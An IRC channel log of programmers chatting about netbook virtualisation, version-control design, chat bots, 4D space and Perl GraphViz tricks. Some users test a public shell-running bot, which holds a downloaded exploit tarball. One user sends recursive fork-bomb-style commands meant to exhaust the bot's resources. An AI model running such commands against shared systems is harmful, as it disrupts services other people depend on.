12:31:20 <MissPiggy> http://www.youtube.com/watch?v=S2XwN_oQ_Yo OBABO talks to SPACE
12:31:24 <alise> scarf: beautiful
12:31:40 <Deewiant> >_̈<
12:31:59 <scarf> alise: it renders rather badly in this client
12:32:01 <alise> Obama loves the word guys
12:32:03 <alise> scarf: ditto :-D
12:32:23 <Deewiant> Thought it was just a normal ë at a glance
12:33:19 <scarf> what's the package manager on knoppix?
12:33:26 <scarf> I threw up a VM, in order to test CPANMINUS
12:33:28 <alise> it has none
12:33:32 <alise> it's based on debian
12:33:33 <alise> maybe it has apt-get
12:33:37 <alise> but it probably won't work
12:33:40 <alise> knoppix "includes everything"
12:33:54 <scarf> and happened to use the ICFP2008 iso, as I had it handy
12:33:55 <alise> it is the lamest of linux distros :P
12:34:27 <scarf> it has apt-get, yes
12:34:32 <alise> 18:08:43 * Sgeo__ is considering running back to his beloved Python
12:34:32 <alise> Python's shit too :)
12:34:43 <scarf> and sudo works without a password, which is handy due to me having no idea what the password should be otherwise
12:35:24 <scarf> however, it was trying to use debian.uchicago.edu as a repo, and failed
12:35:37 <alise> just use an ubuntu livecd or sth :P
12:35:46 <scarf> ah, isn't online
12:36:51 <alise> 19:36:02 <Gregor> Strawberry shortcake is DEFINITELY a kind of pizza by your definition.
12:36:51 <alise> i lol'd irl. qrx dns
12:37:07 <alise> (19:36:53 <uorygl> I'm getting the idea that my cuisine is strictly inferior to yours.)
12:38:01 <alise> 19:43:27 <oerjan> wait, you are actually in norway?
12:38:02 <alise> oerjan is just desperate for a friend
12:40:33 <scarf> hmm, kqemu is rather slow on a netbook
12:40:48 <scarf> either that, or knoppix is, but I'm guessing it's the emulation that's causing the issues
12:40:57 <alise> no virtualisation
12:41:02 <alise> so it's emulating
12:41:07 <scarf> kqemu virtualises to some extent
12:41:12 <alise> yes, but your CPU can't
12:41:14 <alise> almost certainly
12:41:15 <scarf> ah
12:41:19 <alise> what cpu is it?
12:41:27 <scarf> one of those ultra-low-power ones
12:41:34 <alise> that ULV stuff?
12:41:43 <scarf> which is handy, because I've been running this on the battery for around 3 hours already
12:41:55 <alise> Intel® Virtualization Technology (VT-x)Yes
12:41:55 <alise> for core 2 solo ULV SU3500
12:42:09 <alise> either you have a different cpu or it's actually just really slow
12:42:16 <alise> also, wow 3 hours :P
12:42:44 <scarf> mine's a U2700
12:42:54 <alise> you get core 2 duos on a 17" 1920x1200 screen and ~7 hours of battery life if you're not stressing it on the macbook pros... they /did/ patent the battery technology though :P
12:43:00 <alise> damn patents!
12:43:44 <alise> scarf: huh it's a pentium (apparently)
12:43:49 <alise> no relation to the pentium line tho
12:43:54 <alise> Intel® Virtualization Technology (VT-x)No
12:43:55 <scarf> alise: it has the pentium trademark on it
12:43:56 <alise> No virtualisation.
12:44:06 <scarf> "intel Pentium inside"
12:44:06 <alise> LOL SUX 2 B U
12:44:33 <scarf> not really, it's fast enough for most things, even large compiles of C++ programs
12:44:39 <scarf> even if I have to do something else while it's compiling
12:45:25 <alise> I freak out every time a computer slows down, so I couldn't really work with a low-spec machine
12:45:36 <alise> It's like I go into "BE CAREFUL IT MIGHT FREEZE" mode.
12:45:45 <scarf> oh, I only freak out when it starts swapping
12:45:51 <alise> Anyway anything can compile C++, more or less
12:45:54 <alise> Nowadays at least
12:46:01 <alise> I bet even an Atom could, albeit slowly
12:46:03 <scarf> my standard response to that nowadays is to kill X, but I haven't had to do that for months
12:46:15 <scarf> (when I do, it's normally because I wrote a program which has a memory leak in a tight loop)
12:46:20 <alise> i've had even ctrl+alt+fN freeze before :(
12:46:28 <scarf> same, killing X is more reliable
12:46:33 <alise> how?
12:46:42 <alise> if ctrl+alt+fN don't work ctrl+alt+backspace doesn't either
12:46:46 <scarf> because, it's at the stage where it's only processing one keystroke every half-hour
12:46:49 <scarf> both work, eventually
12:46:51 <alise> reisub probably would but i never bothered trying
12:46:55 <alise> easier to just punch reboot :p
12:46:56 <scarf> so you want to use the one that kills the program you're running
12:47:09 <alise> scarf: well I don't want to wait half an hour
12:47:10 <scarf> (hmm, what about the SAK, i.e. alt-sysrq-k?)
12:47:41 <alise> also it shouldn't matter if it crashes because i can just reboot and all my work will have been persisted ages before :D
12:47:51 <alise> IT WILL NOT DIE
12:48:21 <scarf> anyway, I've decided to have really ambitious requirements for my version control system
12:48:36 <scarf> it should be able to have exact equivalents (not just approximates) for everything in git, hg, and darcs
12:48:48 <scarf> also, it should only have 5 commands (you can have more as abbreviations, but everything can be done in terms of those)
12:49:14 <scarf> yet, I think it's possible
12:49:22 <alise> well, we're ignoring remote push/pull presumably as they're irrelevant to the actual vcs
12:49:26 <scarf> as a bonus, the design I'm currently thinking about can do what rsync does as well
12:49:29 <alise> so you need
12:49:37 <scarf> alise: I'm assuming that they can be implemented the same way as local push/pull
12:49:38 <alise> some sort of thing to record changes, some sort of thing to merge two repositories
12:49:43 <alise> so I say 4 commands
12:49:54 <alise> two _essential_ ones, and then two ones to keep things running
12:49:58 <scarf> alise: reverts?
12:50:08 <alise> merge with a previous version of the repository, duh
12:50:19 <scarf> merge won't do, there
12:50:24 <alise> also, there should be no "options" significantly changing how a command works; if you want to commit some files but not add another one, you list every file but one in the commit
12:50:28 <alise> (obviously you can have sugar on top)
12:50:36 <alise> scarf: merge and always use the previous version
12:50:52 <alise> then commit all files but the ones that were deleted in the previous version
12:50:54 <alise> voila
12:51:16 <scarf> anyway, I'll talk more later, but I have to change connection
12:51:18 <scarf> bye everyone
12:51:24 -!- scarf has quit (Read error: Connection reset by peer).
12:51:24 <alise> bye
13:34:35 -!- asiekierka has joined.
13:34:38 <asiekierka> hi
13:34:39 <asiekierka> `ls
13:34:46 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.25461 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1
13:35:06 <MissPiggy> `ls
13:35:07 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.25504 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1
13:35:26 <MissPiggy> `echo assquerka > hello.txt
13:35:28 <HackEgo> assquerka > hello.txt
13:35:34 <MissPiggy> -_-
13:35:56 <fizzie> You probably want to `run that; wasn't that the way to get full shell parsing there?
13:36:07 <MissPiggy> `sh "echo assquerka > hello.txt"
13:36:09 <HackEgo> No output.
13:36:12 <MissPiggy> `cat hello.txtx
13:36:14 <HackEgo> No output.
13:36:14 <MissPiggy> `cat hello.txt
13:36:16 <HackEgo> No output.
13:37:21 <fizzie> That should presumably be something like sh -c there, if you want to do it like that.
13:37:51 <fizzie> Aw, help.txt is not exactly helpful.
13:38:06 <MissPiggy> wowowowo
13:38:17 <MissPiggy> `$ENV
13:38:18 <HackEgo> No output.
13:38:21 <MissPiggy> `echo $ENV
13:38:22 <HackEgo> $ENV
13:38:33 <asiekierka> `run echo $ENV
13:38:34 <HackEgo> No output.
13:38:45 <asiekierka> `ls
13:38:47 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.25915 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1
13:38:51 <asiekierka> `run sh "echo assquerka > hello.txt"
13:38:53 <HackEgo> No output.
13:38:55 <asiekierka> `ls
13:38:56 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.26000 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1
13:38:59 <asiekierka> :((
13:39:17 <fizzie> Again, sh wants a -c if you want it to take a command as an argument.
13:39:26 <asiekierka> `run sh -c "echo assquerka > hello.txt"
13:39:28 <HackEgo> No output.
13:39:30 <asiekierka> `ls
13:39:31 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.26151 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1
13:39:37 <asiekierka> `run cat hello.txt
13:39:39 <HackEgo> assquerka
13:39:41 <asiekierka> :D
13:39:45 <fizzie> "Yay."
13:40:00 <asiekierka> `run sh -c "echo Yay. > fizzie"
13:40:01 <HackEgo> No output.
13:40:02 <asiekierka> `ls
13:40:13 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.26297 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1
13:42:10 <fizzie> Hah, someone seriously wrote that cube2 in there with repeated `run echo "[base64 stuff here]" >> nonsense. That's... silly.
13:42:11 <MissPiggy> `touch me
13:42:13 <HackEgo> No output.
13:42:13 <MissPiggy> `ls
13:42:15 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ fizzie \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.26419 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1
13:43:00 <MissPiggy> `cat cube2.base64
13:43:01 <HackEgo> /9j/4AAQSkZJRgABAQEASABIAAD/4QAWRXhpZgAASUkqAAgAAAAAAAAAAAD/2wBDAAgGBgcGBQgH \ BwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/ \ 2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy \ MjIyMjIyMjIyMjL/wAARCAF3AfQDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQF
13:43:10 <asiekierka> (it cuts output)
13:43:26 <fizzie> The web-browser view is a lot easier for file-browsing.
13:43:37 <fizzie> `rm fizzie
13:43:39 <HackEgo> No output.
13:43:45 <fizzie> In any case, I don't want to be highlighted on every `ls.
13:45:15 <fizzie> Probably should've reverted instead, but I can't quite remember the revision-specifying syntax for that.
13:45:58 <asiekierka> `ls
13:45:59 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ hello.txt \ help.txt \ huh \ me \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.26564 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1
13:46:01 <asiekierka> `help
13:46:02 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
13:46:18 <asiekierka> `revert 26419
13:46:19 <HackEgo> Done.
13:46:22 <asiekierka> `ls
13:46:23 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ hello.txt \ help.txt \ huh \ me \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.26693 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1
13:46:29 <asiekierka> That didn't help
13:47:05 <fizzie> `revert 1431
13:47:08 <HackEgo> Done.
13:48:15 <alise> Revert your mother.
13:48:20 <fizzie> That seems reasonable, it got rid of me and "me".
13:48:39 <alise> 24 hoursHackBot<asiekierka> fetch http://www.securityfocus.com/data/vulnerabilities/exploits/wunderbar_emporium-3.tgz
13:48:39 <alise> lol?
13:49:12 <fizzie> It did not quite work out, I guess.
13:50:13 <alise> kiddie
13:51:04 <fizzie> One could consider going backwards to 1424 to clean things up a bit.
13:53:03 <alise> what is cube2.base64?
13:53:12 <alise> `run wc -c cube2.base64
13:53:14 <HackEgo> 61187 cube2.base64
13:53:16 <alise> someone decode it :P
13:53:24 <alise> ah
13:53:24 <alise> <Lil`Cube> run cat cube2.base64 | base64 -d > cube2.jpg
13:54:17 <fizzie> It seems to be a way of getting a mediocre excuse for pasting a lot of base64 text on IRC.
13:54:30 <alise> `run y(){mkdir $RANDOM; y};x(){y|x&};x
13:54:32 <HackEgo> No output.
13:54:38 <alise> that was uncannily quick :D
13:54:44 <alise> `run y(){mkdir $RANDOM; y};x(){y;x|x&};x
13:54:45 <HackEgo> No output.
13:55:56 <MissPiggy> `run tits
13:55:58 <HackEgo> No output.
13:56:03 <MissPiggy> `No output
13:56:04 <HackEgo> No output.
13:57:08 <fizzie> That's almost a HackEgo quine.
13:57:18 <fizzie> (A boring one.)
13:57:26 <MissPiggy> Almost boring !
13:57:58 -!- BeholdMyGlory has joined.
13:58:11 <fizzie> I've always been a bit surprised that $RANDOM has such a common name. I wonder how many shell script authors have done "RANDOM=x" and later been bitten by the contents of $RANDOM.
14:02:41 -!- scarf has joined.
14:04:19 <asiekierka> it's a scarf
14:04:20 <asiekierka> a scaarf
14:05:45 <alise> wear it around your neck.
14:06:19 <alise> fizzie: dot is the best thing for drawing graphygraphs isn't it
14:06:22 <alise> say yes
14:07:24 <alise> actually i can't tell which i want :D
14:08:19 <scarf> <yellowstuff> I'm a little worried that sudoku getting even brief attention from Knuth and Peter Norvig may be a greater waste of human intelligence than the combined loss from everyone trying to solve them manually.
14:08:47 <alise> :D
14:08:48 <asiekierka> `run test.sh
14:08:49 <HackEgo> No output.
14:09:15 <scarf> `define salmiak
14:09:18 <HackEgo> * Salty liquorice, salmiak or salmiakki is a variety of liquorice (confectionery) that contains a relatively large amount of ammonium chloride ... \ [13]en.wikipedia.org/wiki/Salmiak \
14:11:26 <asiekierka> `define HackEgo
14:11:28 <HackEgo> No output.
14:13:00 <MissPiggy> `run lisp
14:13:01 <HackEgo> No output.
14:13:15 <MissPiggy> `run please, a program that prints "No output"
14:13:16 <HackEgo> No output.
14:13:18 <MissPiggy> it does IRP too!
14:13:26 <asiekierka> haha
14:13:33 <asiekierka> well, it doesn't
14:13:41 <scarf> MissPiggy: that's sort-of a Kimian quine
14:13:47 <scarf> except not a quine
14:13:50 <scarf> just a Kimian execution
14:13:52 <scarf> ^ul .
14:13:53 <fungot> ...bad insn!
14:13:58 <scarf> ^ul ...bad insn!
14:13:58 <fungot> ...bad insn!
14:14:02 <MissPiggy> what's kimian?
14:14:08 <scarf> MissPiggy: like that Underload quine I just saw
14:14:16 <scarf> you have the program be equal to one of the interp's error messages
14:14:22 <MissPiggy> ahah
14:14:26 <scarf> in such a way, that the error message causes itself
14:14:51 <MissPiggy> `bf [+]
14:14:52 <HackEgo> No output.
14:14:59 <asiekierka> `bf +[]
14:15:00 <scarf> it's possible in many languages, but rather depends on the details of the interp
14:15:00 <HackEgo> No output.
14:15:01 <MissPiggy> !bf_txtgen No output.
14:15:15 <EgoBot> 95 +++++++++++[>+++++++>++++++++++>+++>+<<<<-]>+.>+.>-.<.++++++.-.----.+++++.-.>++++++++++++++.>-. [711]
14:15:22 <MissPiggy> `bf +++++++++++[>+++++++>++++++++++>+++>+<<<<-]>+.>+.>-.<.++++++.-.----.+++++.-.>++++++++++++++.>-.
14:15:23 <HackEgo> No output.
14:15:38 <asiekierka> `bf [+.]
14:15:39 <HackEgo> No output.
14:15:42 <asiekierka> `bf +[+.]
14:15:43 <HackEgo> No output.
14:15:54 <asiekierka> `help
14:15:55 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
14:16:02 <asiekierka> `run cd bin && ls
14:16:03 <HackEgo> ? \ addquote \ calc \ commands \ creatures \ define \ esolang \ etymology \ fortune \ google \ helpme \ imdb \ karma \ minifind \ paste \ ping \ quote \ rec \ runfor \ sayhi \ strfile \ swedish \ toutf8 \ translate \ translatefromto \ translateto \ unstr \ url \ wolfram
14:16:11 <asiekierka> `run cd /bin && ls
14:16:11 <scarf> `bf isn't actually a HackEgo command
14:16:13 <HackEgo> bash \ bunzip2 \ bzcat \ bzcmp \ bzdiff \ bzegrep \ bzexe \ bzfgrep \ bzgrep \ bzip2 \ bzip2recover \ bzless \ bzmore \ cat \ chgrp \ chmod \ chown \ cp \ cpio \ date \ dd \ df \ dir \ dmesg \ dnsdomainname \ domainname \ echo \ ed \ egrep \ false \ fgrep \ grep \ gunzip \ gzexe \ gzip \ hostname \ ip \ kill \ less \ lessecho
14:16:22 <asiekierka> scarf: you mean not yet
14:16:22 <scarf> also, cpio? /why/?
14:16:22 <HackEgo> No output.
14:16:28 <MissPiggy> `fungot style
14:16:29 <fungot> MissPiggy: they say that you should always be marked `caution: trap door there may be reproduced, stored in a great hunter, few gods can match his fury. unlike the older race of the ring, by michael jordan)
14:16:29 <HackEgo> No output.
14:16:49 <scarf> ^style
14:16:49 <fungot> Available: agora alice c64 ct darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack* pa speeches ss wp youtube
14:16:59 <scarf> I like this fungot style
14:16:59 <fungot> scarf: they say that there are that your wand explodes as you bound across the cold of winter. the christian calendar adopted the same size? salmon gets thinner at both ends." the archchancellor leaned towards him.
14:17:08 <alise> fizzie: you know dot and stuff don't you? can you have multiple nodes with the same value (say yes)
14:17:21 * scarf wonders if "salmon gets thinner at both ends" is a literal quote, I'll grep the NetHack source
14:18:01 <MissPiggy> I want to understand 4D :(
14:18:07 <scarf> yes, it is
14:18:08 <asiekierka> ^style c64
14:18:09 <fungot> Selected style: c64 (C64 programming material)
14:18:12 <asiekierka> fungot: Hello!
14:18:12 <fungot> asiekierka: multicolor sprites 53276 ( d01c). bits 0-7 of memory are used.
14:18:20 <asiekierka> fungot: How do you hax the c64 man
14:18:21 <fungot> asiekierka: preparatory routines: none note: might be plugged into the accumulator. to create a
14:18:21 <scarf> it's a quote from Terry Pratchett
14:18:22 <MissPiggy> do't you think if you were born 4D you could understand it no problem
14:18:27 <MissPiggy> it's just a matter of learning
14:18:40 <asiekierka> fungot: Do you like this scarf over here? ->
14:18:41 <fungot> asiekierka: 400 next l ( cp/ m(r) 1000 ( hex). if the numeric argument, any computer for everything from lightpens and joysticks to disk drives, printers, and then redefine a particular sprite by means of plug-in expansion cartridges which are the only difference is in a program to display characters on the joystick in controller port 2 to a 1 based on the serial ports.
14:18:42 <MissPiggy> maybe 7D would be easier than 4?
14:18:44 <MissPiggy> hmmmm
14:18:57 <asiekierka> fungot: multicolor
14:18:58 <fungot> asiekierka: 10 get junk: if peek(v+30)andx=xthen insert action here.
14:19:04 <scarf> MissPiggy: 4 is a special case of 7
14:19:06 <asiekierka> ^style
14:19:06 <fungot> Available: agora alice c64* ct darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube
14:19:11 <asiekierka> $style youtube
14:19:13 <asiekierka> ^style youtube
14:19:13 <fungot> Selected style: youtube (Some YouTube comments)
14:19:15 <alise> MissPiggy: we don't have a 4d spatial universe though
14:19:21 <asiekierka> oh yes, i remember when I was preparing the youtube style
14:19:23 <asiekierka> fungot: ALISE
14:19:24 <alise> so we have no way to relate 4d :: things we experience
14:19:37 <asiekierka> fungot: Hello?
14:19:43 <asiekierka> Did I break fungot?
14:19:57 <scarf> asiekierka: no, it just ignores people spamming it
14:20:07 <scarf> other people will be able to use it just fine
14:20:14 <asiekierka> fungot: Hello
14:20:21 -!- asiekierka has changed nick to mytheory.
14:20:22 <mytheory> fungot: Hello
14:20:23 <fungot> mytheory: what the fuck!! the crystal ball thru the vending machine was the second time, some bastard knows who he is on valkyr. the best 4ever!! britain's really got tallent! what
14:20:25 -!- mytheory has changed nick to asiekierka.
14:20:40 <scarf> ugh, youtube comments can be really stupid sometimes
14:20:49 -!- asiekierka has changed nick to mypeory.
14:20:57 <scarf> also, I never figured out what order they were in
14:21:00 <alise> Britain's Really Got Tallent
14:21:01 <MissPiggy> fungort
14:21:02 <MissPiggy> fungot
14:21:03 <fungot> MissPiggy: u rock dudette! plus he's hot :) the way! i like
14:21:07 <MissPiggy> :)
14:21:08 <mypeory> fungot: Give me a scarf
14:21:09 <fungot> mypeory: hi climbdatowerofpower. i get from it without the cod title on it hard to fiqure out what going to do something dumb place to have a custom pc, a eto illusia.
14:21:16 <mypeory> I should update it one day
14:21:19 <mypeory> it was 500kb of comments
14:21:21 -!- mypeory has changed nick to asiekierka.
14:21:33 <asiekierka> i wanted to make it 1MB
14:21:33 <scarf> tbh, you don't need to Markov youtube comments, they're just as meaningless before and after
14:21:40 <asiekierka> nah
14:21:43 <scarf> you get some intelligent ones sometimes, but they're the exception
14:21:46 <asiekierka> i just wanted a youtube comment generator
14:22:26 <asiekierka> i just can't remember where i had it
14:22:28 <asiekierka> gotta look for sed
14:22:30 <asiekierka> it's the same dir
14:26:03 <alise> so I had an idea
14:26:04 -!- scarf has quit (Ping timeout: 240 seconds).
14:26:09 <alise> a blend of zoom ui/graph traversing
14:26:18 <MissPiggy> alise, what o you think of 4D?
14:26:21 <alise> you have a graph laid out primarily vertically and each node down you go
14:26:24 <alise> it gets smaller
14:26:33 <alise> and choosing one path will make that the biggest and zoom in on it
14:26:39 <alise> to show its "children" in a sense
14:26:43 <alise> MissPiggy: /shrug
14:26:46 <alise> dimensions are cool.
14:27:01 <MissPiggy> 4
14:27:04 <MissPiggy> or 7
14:27:39 <alise> 90
14:27:41 <alise> 7
14:27:47 <alise> 7 because 4 is explored enough already
14:28:05 <MissPiggy> alise, my assumption is that with enough immersion you could understand 7D as well as 3D
14:28:22 <alise> i disagree because the universe is spatially 3d so we understand 3d because we live 3d every single second
14:28:34 <alise> 2d is a subset, we can do 2d stuff on paper, so we can understand it
14:28:38 <alise> >3d not so much.
14:28:42 <MissPiggy> if you lived 7D just as much you could understand it as well
14:28:50 <alise> you can't live 7d
14:28:51 -!- ais523 has joined.
14:28:53 <alise> space doesn't have enough dimensions
14:28:55 <MissPiggy> if you just spent one hour in 7D you could get a good intuition
14:28:58 -!- ais523 has quit (Changing host).
14:28:58 -!- ais523 has joined.
14:28:58 -!- ais523 has quit (Changing host).
14:28:58 -!- ais523 has joined.
14:29:08 <ais523> that was bizarre
14:29:20 <alise> MissPiggy: you /can't/ spend one hour in 7d
14:29:21 <ais523> the computer turned itself off for no apparent reason
14:29:42 <ais523> then I turned it on again, and it did a fsck then turned itself off for no apparent reason again
14:30:10 <asiekierka> OLD NICK TIME
14:30:11 <asiekierka> anyway
14:30:13 <alise> it just wants some rest
14:30:50 <asiekierka> We live in 3D and what we move in is 4D, the 4th dimension being the line of time. We can control the first, second and third dimension, but we move in the 4th dimension outside our control
14:31:04 <asiekierka> Living in 4D would mean we move uncontrollably in 5D, but we can control the first 4 dimensions
14:31:07 <ais523> now it's booted and seems to be working normally
14:31:17 <alise> asiekierka: Congratulations Einstein you discovered the most trivial thing ever.
14:31:19 * ais523 decides not to mess around with kqemu for a while
14:31:44 <asiekierka> I love discovering the most trivial things ever
14:32:08 -!- scarf has joined.
14:32:24 -!- sebbu has quit (*.net *.split).
14:33:42 <asiekierka> good, found them
14:33:46 <MissPiggy> hi
14:34:24 <asiekierka> apparently the newest version is q7.txt
14:34:27 <asiekierka> weighing at 492 kilos
14:34:36 <asiekierka> :D
14:36:49 <alise> Sigh — Perl's GraphViz module can't output PDFs.
14:36:54 -!- sebbu has joined.
14:37:00 <scarf> alise: what about indirectly?
14:37:06 <scarf> this is Perl, there's probably some way
14:37:24 <alise> CBA; instead, I'll use as_text to print the totally rendered form, and pipe it to dot or whatever
14:37:57 <MissPiggy> dogt
14:38:09 <MissPiggy> I want to understand 7D
14:38:12 <alise> perl diag.pl | dot -Tpdf -o diag.pdf
14:38:42 <MissPiggy> imagine how much better life would be if we lived in 7D
14:40:14 <alise> ok so i need shorthand for $g->add_node(label => 'foo'), say node('foo')
14:40:25 <alise> and I need shorthand for $g->add_edge(a => b), say edge(a => b)
14:40:45 <scarf> <Jafet> I can implement nethack in hq9+n.
14:40:55 <alise> :D
14:41:08 <alise> does shift => shift have a defined evaluation order in perl? I guess not
14:41:23 <scarf> alise: Perl5 isn't defined at all, except by the reference implementation
14:41:29 <alise> you know what i mean :|
14:41:34 <scarf> anyway, it probably does, because => is syntactic sugar for comma
14:41:39 <MissPiggy> alise why is the world 3D
14:41:44 <alise> scarf: :-D
14:41:45 <scarf> besides, the evaluation order doesn't matter anyway, as that probably parses as 'shift' => shift
14:41:49 <alise> darn
14:41:59 <alise> MissPiggy: why is the world quantum
14:42:01 <alise> it just is
14:42:05 <MissPiggy> no
14:42:08 <MissPiggy> there must be a reason
14:42:12 <MissPiggy> and not anthropic principle
14:42:15 <alise> no, that's religious thinking
14:42:22 <MissPiggy> you're moms religious
14:42:36 <alise> 3d + 1 time d is the only "real" dimension, we have a mathematical model of it and if we tweak parameters we get some random other mathematical models that we find make sense in some way
14:42:39 <alise> it's all just models
14:42:52 <MissPiggy> 3D is real ehird
14:42:55 <MissPiggy> just admit it
14:42:55 <alise> scarf: Darn I actually need sugar for "my $foo = func(label => 'foo')"
14:43:00 <alise> MissPiggy: yes, it is.
14:43:07 <scarf> alise: it's Perl, you can sugar what you like
14:43:15 <alise> scarf: but how :|
14:43:18 <scarf> although with "my", it's a little tricky
14:43:27 <scarf> you'd probably have to directly inject lexicals into the symbol table or something stupid like that
14:43:32 <alise> basically I'm abusing perl to use it as a glorified graphviz input format
14:43:34 <alise> because DOT sux
14:43:35 <MissPiggy> in 7D normal art would be 6 or 7D
14:43:38 <alise> scarf: :D how
14:43:51 <scarf> alise: I'm not entirely sure; ##perl would probably know
14:43:53 <MissPiggy> doing human style 3D sculpture would be considered minimalist and restrictive like haiku
14:43:56 <scarf> I can do it with globals, but not lexicals
14:44:00 <alise> scarf: darn
14:44:04 <alise> scarf: oh globals is fine
14:44:06 <alise> absolutely fine
14:44:24 <alise> can I even have it so that if I do "$foo = func('x')" it doesn't assign $x? :-D
14:45:51 <scarf> if you write «*{"${caller}::$var"} = sub { ... }» in a function, then it creates a subroutine called whatever's in $var in the context of its caller
14:46:05 <alise> but that's a subroutine
14:46:24 <scarf> you can do the same with variables: «*{"${caller}::$var"} = \$x» makes the variable called $ followed by the value of $var in the context of the caller into the same variable as $x in the current scope
14:46:37 <scarf> as in, hardlink-style
14:46:41 <alise> x_x
14:46:43 <alise> what if the scope exists
14:46:45 <alise> *exits
14:46:54 <scarf> that's the joys of refcounting
14:47:00 <scarf> variables can outlive their scope in Perl
14:47:07 <alise> I'm not sure all of this just to avoid
14:47:11 <alise> my $usys = node('usys')
14:47:14 <alise> is rational :D
14:47:17 <scarf> the variable still belongs to the scope it was historically in, even if that scope no longer exists
14:47:26 <alise> I will need to do my $x86_64 = node('x86-64') at the very list
14:47:28 <alise> *least
14:47:39 <alise> scarf: So how do you detect if your caller is assigning a variable of its own?
14:48:00 <scarf> hmm, in Perl5 that's tricky because the variable doesn't exist until after the function call
14:48:03 <scarf> oh, of course
14:48:06 <scarf> you can use context tricks
14:48:14 <scarf> you're being called in scalar context if it's $foo=func('x')
14:48:14 <alise> :D
14:48:19 <scarf> and void context if it's just func('x'
14:48:22 <scarf> *func('x')
14:48:24 <alise> how can you tell?
14:48:52 <scarf> the value of wantarray is undefined in void context, and some other false value in scalar context
14:49:05 <scarf> so you can specifically check if it's defined or not
14:49:26 <alise> node 'usys';
14:49:26 <alise> node 'hw';
14:49:26 <alise> edge $usys => $hw;
14:49:27 <alise> node 'cpu';
14:49:27 <alise> edge $hw => $cpu;
14:49:27 <alise> ↑ I foresee this becoming tedious
14:49:42 <scarf> node qw/usys hw cpu/;
14:49:46 <alise> Global symbol "$caller" requires explicit package name at diag.pl line 12.
14:49:46 <alise> Global symbol "$usys" requires explicit package name at diag.pl line 23.
14:49:47 <alise> Global symbol "$hw" requires explicit package name at diag.pl line 23.
14:49:47 <alise> Global symbol "$hw" requires explicit package name at diag.pl line 25.
14:49:47 <alise> Global symbol "$cpu" requires explicit package name at diag.pl line 25.
14:49:50 <alise> lol fuq me.
14:49:53 <alise> :|
14:50:00 <alise> scarf: nice
14:50:01 <scarf> err, what's with the $ before caller?
14:50:08 <alise> you told me to
14:50:11 <alise> *{"${caller}::$name"} = \$id;
14:50:24 <scarf> hmm... that looks correct
14:50:42 <scarf> oh, I defined my $caller = caller earlier
14:50:45 <scarf> and forgot to tell you
14:50:47 <alise> lol
14:50:51 <alise> will just {caller} work :-D
14:50:56 <scarf> only in Perl6
14:51:02 <alise> caller . '::' . $name?
14:51:22 <alise> *caller()
14:51:29 <alise> Still t'errors:
14:51:29 <alise> Global symbol "$usys" requires explicit package name at diag.pl line 23.
14:51:29 <alise> Global symbol "$hw" requires explicit package name at diag.pl line 23.
14:51:30 <alise> Global symbol "$hw" requires explicit package name at diag.pl line 24.
14:51:30 <alise> Global symbol "$cpu" requires explicit package name at diag.pl line 24.
14:51:38 <scarf> you have a timing problem there, in that use strict runs before the code
14:51:48 -!- MigoMipo has joined.
14:51:49 <alise> Er. Yes, yes it does.
